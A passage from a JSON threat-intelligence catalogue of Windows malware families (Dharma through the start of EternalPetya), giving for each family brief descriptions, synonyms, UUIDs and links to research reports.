      "description": "According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.\r\n\r\nOnce they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma",
          "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/",
          "https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/"
        ],
        "synonyms": [
          "Arena",
          "Crysis"
        ],
        "type": []
      },
      "uuid": "9c90b876-e94d-4ea5-9f30-fdc6dd6b5aef",
      "value": "Dharma"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox",
          "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/",
          "http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/",
          "https://www.scmagazine.com/inside-diamondfox/article/578478/",
          "https://blog.cylance.com/a-study-in-bots-diamondfox",
          "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/"
        ],
        "synonyms": [
          "Crystal",
          "Gorynch",
          "Gorynych"
        ],
        "type": []
      },
      "uuid": "7368ab0c-ef4b-4f53-a746-f150b8afa665",
      "value": "DiamondFox"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie",
          "http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8f5ce8a6-c5fe-4c62-b25b-6ce0f3b724c5",
      "value": "Dimnie"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt",
          "https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/",
          "https://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "61b2dd12-2381-429d-bb64-e3210804a462",
      "value": "DirCrypt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs",
          "https://twitter.com/cyb3rops/status/1101138784933085191"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3bbf08fd-f147-4b23-9d48-a53ac836bc05",
      "value": "DispenserXFS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack",
          "http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html",
          "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/",
          "http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware",
          "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412",
          "https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis",
          "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
          "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon",
          "https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "25d03501-1fe0-4d5e-bc75-c00fbdaa83df",
      "value": "DistTrack"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker",
          "https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/",
          "https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/",
          "https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1248cdf7-4180-4098-b1d0-389aa523a0ed",
      "value": "DMA Locker"
    },
    {
      "description": "DMSniff is a point-of-sale malware previously only privately sold.  It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries.  It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff",
          "https://www.flashpoint-intel.com/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f716681e-c1fd-439a-83aa-3147bb9f082f",
      "value": "DMSniff"
    },
    {
      "description": "DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger",
          "http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/",
          "https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html",
          "https://blog.talosintelligence.com/2017/03/dnsmessenger.html"
        ],
        "synonyms": [
          "TEXTMATE"
        ],
        "type": []
      },
      "uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6",
      "value": "DNSMessenger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage",
          "https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/",
          "https://www.us-cert.gov/ncas/alerts/AA19-024A",
          "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/",
          "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html",
          "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
          "https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/",
          "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
        ],
        "synonyms": [
          "Agent Drable",
          "Webmask"
        ],
        "type": []
      },
      "uuid": "ef46bd90-91d0-4208-b3f7-08b65acb8438",
      "value": "DNSpionage"
    },
    {
      "description": "DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower",
          "http://www1.paladion.net/hubfs/Newsletter/DogHousePower-%20Newly%20Identified%20Python-Based%20Ransomware.pdf"
        ],
        "synonyms": [
          "Shelma"
        ],
        "type": []
      },
      "uuid": "14d3518a-d8cb-4fbd-80aa-8bec4fc8ad13",
      "value": "DogHousePower"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot",
          "https://securingtomorrow.mcafee.com/mcafee-labs/ngrbot-spreads-via-chat/",
          "https://research.checkpoint.com/dorkbot-an-investigation/",
          "http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "91191c0a-96d8-40b8-b8fb-daa0ad009c87",
      "value": "NgrBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel",
          "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d3b5a884-1fd6-4cc4-9837-7d8ee8817711",
      "value": "Dorshel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar",
          "https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/",
          "https://github.com/countercept/doublepulsar-c2-traffic-decryptor",
          "https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/",
          "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "32984744-c0f9-43f7-bfca-c3276248a4fa",
      "value": "DoublePulsar"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
          "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
        ],
        "synonyms": [
          "DELPHACY"
        ],
        "type": []
      },
      "uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2",
      "value": "Downdelph"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks",
          "http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/?adbsc=social69739136&adbid=826218465723756545&adbpl=tw&adbpr=4487645412"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c8149b45-7d28-421e-bc6f-25c4b8698b92",
      "value": "Downeks"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper",
          "http://www.clearskysec.com/charmingkitten/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "227862fd-ae83-4e3d-bb69-cc1a45a13aed",
      "value": "DownPaper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "627a044b-1c84-409c-9f58-95b46d5d51ba",
      "value": "DramNudge"
    },
    {
      "description": "2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n2014 Dreambot (Gozi ISFB variant)\r\n\r\nIn 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.\r\n\r\nSee win.gozi for additional historical information.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot",
          "https://lokalhost.pl/gozi_tree.txt",
          "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ac4fbbb0-9a21-49ce-be82-e44cb02a7819",
      "value": "DreamBot"
    },
    {
      "description": "OxCERT blog describes Dridex as \"an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term.\"\r\nAccording to MalwareBytes, \"Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method.\"\r\nIBM X-Force discovered \"a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems.\"",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/",
          "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/",
          "https://blogs.it.ox.ac.uk/oxcert/2015/11/09/major-dridex-banking-malware-outbreak/",
          "https://securityintelligence.com/dridexs-cold-war-enter-atombombing/",
          "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf",
          "https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps",
          "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/",
          "https://viql.github.io/dridex/",
          "https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/",
          "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b4216929-1626-4444-bdd7-bfd4b68a766e",
      "value": "Dridex"
    },
    {
      "description": "Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin",
          "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf",
          "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html",
          "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/"
        ],
        "synonyms": [
          "Spy.Agent.ORM",
          "Toshliph"
        ],
        "type": []
      },
      "uuid": "76f6f047-1362-4651-bd2f-9ca10c119e8d",
      "value": "DRIFTPIN"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot",
          "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
          "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/",
          "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cfdb02f2-a767-4abb-b04c-333a02cdd7e2",
      "value": "DROPSHOT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtbackdoor"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cc5abb0c-7f33-4a82-a92e-0070fd602ba5",
      "value": "DtBackdoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dualtoy",
          "https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "440daef1-385d-42fd-a714-462590d4ce6b",
      "value": "DualToy (Windows)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubnium_darkhotel",
          "https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/",
          "https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/",
          "http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html",
          "https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "309d0745-bbfd-43bc-b2c4-511592a475bf",
      "value": "DarkHotel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute",
          "https://github.com/ch0sys/DUBrute"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2236a08f-dfbd-4f92-9d73-a895c34766ad",
      "value": "DUBrute"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ea59906d-b5e1-4749-8494-9ad9a09510b5",
      "value": "Dumador"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu",
          "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet_research.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7344cee0-87c9-46a1-85aa-0d3c8c9c8cc6",
      "value": "DuQu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer",
          "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a5eb921e-17db-46de-a907-09f9ad05a7d7",
      "value": "Duuzer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre",
          "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
          "https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates",
          "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/"
        ],
        "synonyms": [
          "Dyreza"
        ],
        "type": []
      },
      "uuid": "1ecbcd20-f238-47ef-874b-08ef93266395",
      "value": "Dyre"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom",
          "https://twitter.com/JaromirHorejsi/status/815861135882780673"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "24fe5fef-6325-4c21-9c35-a0ecd185e254",
      "value": "EDA2"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel",
          "https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "257da597-7e6d-4405-9b10-b4206bb013ca",
      "value": "EHDevel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder",
          "https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26760/en_US/McAfee_Labs_Threat_Advisory_GazaCybergang.pdf",
          "https://www.clearskysec.com/iec/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "31b18d64-815c-4464-8fcc-f084953a75f5",
      "value": "ElectricPowder"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks",
          "https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "eb189fd3-ca39-4bc7-be2d-4ea9e89d9ab9",
      "value": "Elirks"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise",
          "https://www.accenture.com/t20180127T003755Z__w__/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
          "https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/",
          "https://securelist.com/blog/research/70726/the-spring-dragon-apt/",
          "https://www.joesecurity.org/blog/8409877569366580427"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3477a25d-e04b-475e-8330-39f66c10cc01",
      "value": "Elise"
    },
    {
      "description": "ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer",
          "https://www.symantec.com/security-center/writeup/2015-122210-5724-99",
          "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html",
          "https://attack.mitre.org/software/S0064"
        ],
        "synonyms": [
          "Elmost"
        ],
        "type": []
      },
      "uuid": "e0a8bb01-f0c8-4e2c-bd1e-4c84135ba834",
      "value": "ELMER"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/",
          "http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html",
          "https://securelist.com/new-activity-of-the-blue-termite-apt/71876/",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6bf7aa6a-3003-4222-805e-776cb86dc78a",
      "value": "Emdivi"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/",
          "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html",
          "https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage",
          "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/",
          "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/",
          "https://github.com/d00rt/emotet_research",
          "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html",
          "https://www.us-cert.gov/ncas/alerts/TA18-201A",
          "https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/",
          "https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html",
          "http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1",
          "https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/",
          "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/",
          "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/",
          "https://www.cert.pl/en/news/single/analysis-of-emotet-v4/",
          "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
          "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/",
          "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html",
          "https://persianov.net/emotet-malware-analysis-part-1",
          "https://persianov.net/emotet-malware-analysis-part-2",
          "https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/",
          "https://paste.cryptolaemus.com",
          "https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc",
          "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/",
          "https://www.fidelissecurity.com/threatgeek/2017/07/emotet-takes-wing-spreader",
          "https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/",
          "https://feodotracker.abuse.ch/?filter=version_e",
          "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus",
          "https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/",
          "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69"
        ],
        "synonyms": [
          "Geodo",
          "Heodo"
        ],
        "type": []
      },
      "uuid": "d29eb927-d53d-4af2-b6ce-17b3a1b34fe7",
      "value": "Emotet"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader",
          "https://twitter.com/thor_scanner/status/992036762515050496"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "aa445513-9616-4f61-a72d-7aff4a10572b",
      "value": "Empire Downloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal",
          "http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf",
          "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/",
          "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/"
        ],
        "synonyms": [
          "Lurid"
        ],
        "type": []
      },
      "uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9",
      "value": "Enfal"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug",
          "https://securelist.com/inside-the-equationdrug-espionage-platform/69203/",
          "https://cdn.securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf",
          "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/",
          "http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c4490972-3403-4043-9d61-899c0a440940",
      "value": "EquationDrug"
    },
    {
      "description": "Rough collection EQGRP samples, to be sorted",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup",
          "https://laanwj.github.io/2016/08/28/feintcloud.html",
          "https://laanwj.github.io/2016/09/17/seconddate-cnc.html",
          "https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html",
          "https://laanwj.github.io/2016/08/22/blatsting.html",
          "https://laanwj.github.io/2016/09/11/buzzdirection.html",
          "https://laanwj.github.io/2016/09/23/seconddate-adventures.html",
          "https://laanwj.github.io/2016/09/13/blatsting-rsa.html",
          "https://laanwj.github.io/2016/09/01/tadaqueos.html",
          "https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "35c1abaf-8dee-48fe-8329-f6e5612eb7af",
      "value": "Equationgroup (Sorting)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus",
          "https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "06450729-fe60-4348-9717-c13a487738b9",
      "value": "Erebus (Windows)"
    },
    {
      "description": "Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.\r\n\r\nAccording to nulled[.]to:\r\n\r\nSupported browsers\r\nChromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.\r\n\r\n- Stealing FileZilla\r\n- Stealing an account from Telegram\r\n- Stealing AutoFill\r\n- Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin\r\n- Stealing files from the desktop. Supports any formats, configurable via telegram-bot",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel",
          "https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:hXXps://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "acd2555d-b4a1-47b4-983a-fb7b3a402dab",
      "value": "Eredel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya",
          "http://blog.talosintelligence.com/2017/10/bad-rabbit.html",
          "https://securelist.com/from-blackenergy-to-expetr/78937/",
          "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html",
          "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/",
          "https://labsblog.f-secure.com/2017/06/30/eternal-petya-from-a-developers-perspective/",
          "http://www.intezer.com/notpetya-returns-bad-rabbit/",
          "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/",
          "https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/",
          "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html",
          "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/",
          "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/",
          "https://www.riskiq.com/blog/labs/badrabbit/",
          "https://labsblog.f-secure.com/2017/06/29/petya-i-want-to-believe/",
          "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik",
          "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/",
          "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/",
